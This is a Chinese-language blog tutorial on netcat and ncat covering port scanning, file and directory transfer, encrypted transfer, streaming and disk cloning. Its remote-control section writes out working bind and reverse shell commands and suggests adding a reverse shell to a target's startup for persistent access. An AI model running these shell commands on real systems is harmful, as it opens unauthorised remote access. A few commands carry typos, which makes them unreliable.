Netcat使用与分析
Netcat使用与分析
简介
Netcat (简称 nc)是一款简单实用的工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。内建有很多实用的工具。被称为网络工具中的瑞士军刀。
项目地址:
linux:https://nmap.org/ncat/
windows:https://nmap.org/dist/ncat-portable-5.59BETA1.zip
主要功能
- 端口扫描功能/获取banner信息
- 传输文本信息
- 传输文件/目录
- 加密传输文件
- 远程控制
- 流媒体服务器
- 远程克隆硬盘
- Telnet
操作环境
使用-h查看工具的使用说明,文章中使用Kali自带的nc进行演示。
kali IP:10.211.55.8
win10 IP:10.211.55.14
-c shell commands shell模式
-e filename 程序重定向,接连接后执行的程序名
-b 允许广播
-g gateway 源路由跳跃点, 不超过8
-G num 源路由指示器: 4, 8, 12, ...
-h 获取帮助信息
-i secs 延时设置,端口扫描时使用
-k 设置在socket上的存活选项
-l 监听模式
-n 以数字形式表示的IP地址
-o file 使进制记录
-p port 指定端口
-r 随机本地和远程的端口
-q secs 在标准输入且延迟后退出
-s addr 本地源地址
-T tos 设置服务类型
-t 以TELNET的形式应答入站请求
-u UDP模式
-v 显示详细信息(使用-vv获取更详细的信息)
-w secs 连接超时设置
-C 发送CRLF作为行结束
-z 零I/O模式,仅报告连接状态,不进行交互 [扫描时使用]
基本使用
端口扫描功能/获取banner信息
nc 可以探测服务器的端口是否开放以及 banner 信息。
#命令格式 -n 以数字形式表示的IP地址 -v 显示详细信息
nc -nv ip port
可以看到10.211.55.14的139端口时开放的,对应的 banner 信息是netbios,这个功能可以用于端口扫描探测。
#命令格式 -z 仅报告连接状态,不进行交互
nc -nvz ip ports
Wireshark抓包查看,加了-z确实只有请求包,没有进行3次握手的交互。(ip.addr == 10.211.55.8 or ip.addr == 10.211.55.14)
传输文本信息
nc 可以在两台机器之间相互传递信息,首先需要有一台机器进行监听一个端口,另一台以连接的方式去连接其指定的端口,这样两台机器之间建立了通信后,相互之间可以传输信息。
#kali上执行监听命令 -l 参数是监听模式 -p指定一个端口
nc -l -p 7777
#win10上执行连接命令
ncat.exe -nv 10.211.55.8 7777
抓包查看,传输为明文传输,无任何的加密。
传输文件和目录
文件传输和目录这个功能,和文本信息传输类似,只不过是把文本信息换成了文件和目录。
传输文件
首先正向传输文件,用一台机器监听一个端口,如果有人连接并传来信息时,则将信息使用重定向(>)到文件。另一台机器连接目标指定端口然后通过输出(<)要传送的文件即可。
#kali上执行监听命令 -l 参数是监听模式 -p指定一个端口
nc -l -p 7777 > 1.txt
#win10上执行连接命令
ncat.exe -nv 10.211.55.8 7777 < test.txt
抓包查看,传输文件也为明文传输,无任何的加密。
反向传输
同样的也有一个反向传输文件,用一台机器监听一个端口把文件准备好,如果有人连接,就传给他文件(和正向连接的符号相反)。
#kali上执行监听命令 -l 参数是监听模式 -p指定一个端口
nc -l -p 7777 < 1.txt
#win10上执行连接命令
ncat.exe -nv 10.211.55.8 7777 > test1.txt
对于传输目录其实和传输文本信息传输文件一样,当作文件处理即可,传输时将目录进行压缩进行传输,随后另一台机器接收后进行解压,这样就完成了目录的传输。例如使用 tar 命令。
#kali上执行监听命令 -c 表示进行压缩 -v 是显示详细过程 -f 是文件名 -x 是解压
tar -cvf - test | nc -lp 7777
#win10上执行连接命令
ncat.exe -nv 10.211.55.8 7777 | tar -xvf -
加密传输文件
加密传输文件需要使用 mcrypt 库,linux 系统默认是没有安装的,需要手动安装。命令:apt-get install mcrypt
随后和传输文件类似,只需要在传输文件时使用 mcrypt 加密即可。mcrypt --list-hash查看支持的hash加密方式。
#10.211.55.8上执行监听命令,接收文件 --flush 立即冲洗输出,-F 输出数据,-b 不保留算法信息,-q 关闭一些非严重的警告,-d 解密 -k 指定密码 -h 指定hash加密方式
nc -lp 7777 | mcrypt --flush -Fbqd -h sha256 -k 123456 > file.txt
#另一台kali上执行连接命令,上传文件
echo "hello roderick" > test.txt
mcrypt --flush -Fbq -h sha256 -k 123456 < test.txt | nc -nv 192.168.183.129 7777
以下使用两台kali进行操作
Kali IP :192.168.183.129 \ 10.211.55.8
下图所示:通过加密的方式传输,可确保信息的机密性。
拓展:
关于mcrypt另一些加密算法 使用-a指定算法 -m指定加密模式,例如
nc -lp 7777 | mcrypt --flush -Fbqd -a acst-128 -m cbc -k 123456 > file.txt
mcrypt --flush -Fbq -a acst-128 -m cbc -k 123456 < test.txt | nc -nv 192.168.183.129 7777
远程控制
原理和传输信息、传输文件一样,只不过传输的是 bash,windows 系统是 cmd。
正向Shell是目标机器主动指定 bash并监听端口,然后攻击者连接端口,当攻击者连接目标机器后,目标机器将Shell传递给主动连接的机器。
#目标机器执行 netcat支持-c、-e 参数情况下
nc -lp 7777 -c bash / nc -lp 7777 -e /bin/bash
#连接机器执行
nc -nv 10.211.55.8 7777
#目标机器执行 netcat不支持-c、-e 参数情况下
mkfifo /root/test_fifo
cat /root/test_fifo | /bin/bash -i 2>&1 | nc -lvp 7777 > /root/test_fifo
#这里我们创建一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到netcat 运行的端口7777上。至此,我们已经把netcat的输出重定向到fifo文件中。
说明:
从网络收到的输入写到fifo文件中
cat 命令读取fifo文件并且其内容发送给sh命令
sh命令进程受到输入并把它写回到netcat。
netcat 通过网络发送输出到client
至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。
#连接机器执行
nc -nv 10.211.55.8 7777
反向Shell是攻击者本地监听一个端口,让目标服务器来连接自己,从而达到控制服务器的效果,这样就可以写一个脚本放到目标服务器的开机启动中,只要目标服务器运行就会连接自己。
#攻击机器执行 netcat支持-c、-e 参数情况下
nc -lp 7777
#目标机器执行
nc -nv 10.211.55.8 7777 -c bash / nc -lp 10.211.55.8 7777 -e /bin/bash
流媒体服务器
流媒体,就是发送方把视频通过流的方式进行传输,传输多少,接收方就会实时的播放多少。
首先,需要在要传送文件的机器上把文件通过管道给 nc,然后监听一个端口。在接收端连接此端口然后通过管道给 mplayer 进行实时播放,mplayer 默认 linux 不安装,需要手动安装,命令:apt-get install mplayer。
#发送方机器执行
cat 1.mp4 | nc -lp 7777
#接收方机器执行 其中 -vo 参数是选择驱动程序,-cache 是每秒要接收的播放帧。
nv -nv 10.211.55.8 7777 | mplayer -vo x11 -cache 3000 - #从socket中读入数据并重定向到mplayer
远程克隆硬盘
对于远程克隆硬盘,在远程电子取证时可以用,使用方法需要借助 dd 命令,首先通过 nc 监听一个端口,然后通过 dd 指定要克隆的分区,dd 的 of 参数相当于一个复制功能,然后再另一台机器通过 nc 连接此端口,dd 的 if 参数相当于粘贴的命令。格式如下:
#被克隆硬盘主机执行
nc -lp 7777 | dd of=/dev/sda
#克隆硬盘主机执行
dd if=/dev/sda | nc -nv 10.211.55.8 7777
Telnet
使用-t选项模拟Telnet客户端。
Ncat
nc 也有不足之处,首先就是明文传输,可能会被嗅探。其次对于反向 shell,如果其他人通过网络扫描发现了这个端口,也就意味着任何人都可以去监听这个端口进行连接,缺乏身份验证功能。
ncat 则弥补了这些缺点,ncat 不是 linux 系统自带的命令,而是 nmap 中的。ncat 中很多参数和 nc 一样,其中可以通过 --alow 参数来指定允许连接的机器,通过 --ssl 进行数据的加密。
#监听端
ncat -nvl 7777 -c bash --allow 10.211.55.8 --ssl
#连接端
ncat -nv 192.168.183.129 7777 --ssl
总结
nc的优点很明显,体积小,使用方便,但缺点也很致命,明文传输,无法限制连接对象,没有相关的身份验证。而 ncat 在 nc 基础上弥补了其不足。此外还有powershell版本的powercat。总体来说这款工具还是很好用的。
本文来自博客园,作者:九天揽月丶,转载请注明原文链接:https://www.cnblogs.com/-meditation-/articles/15745223.html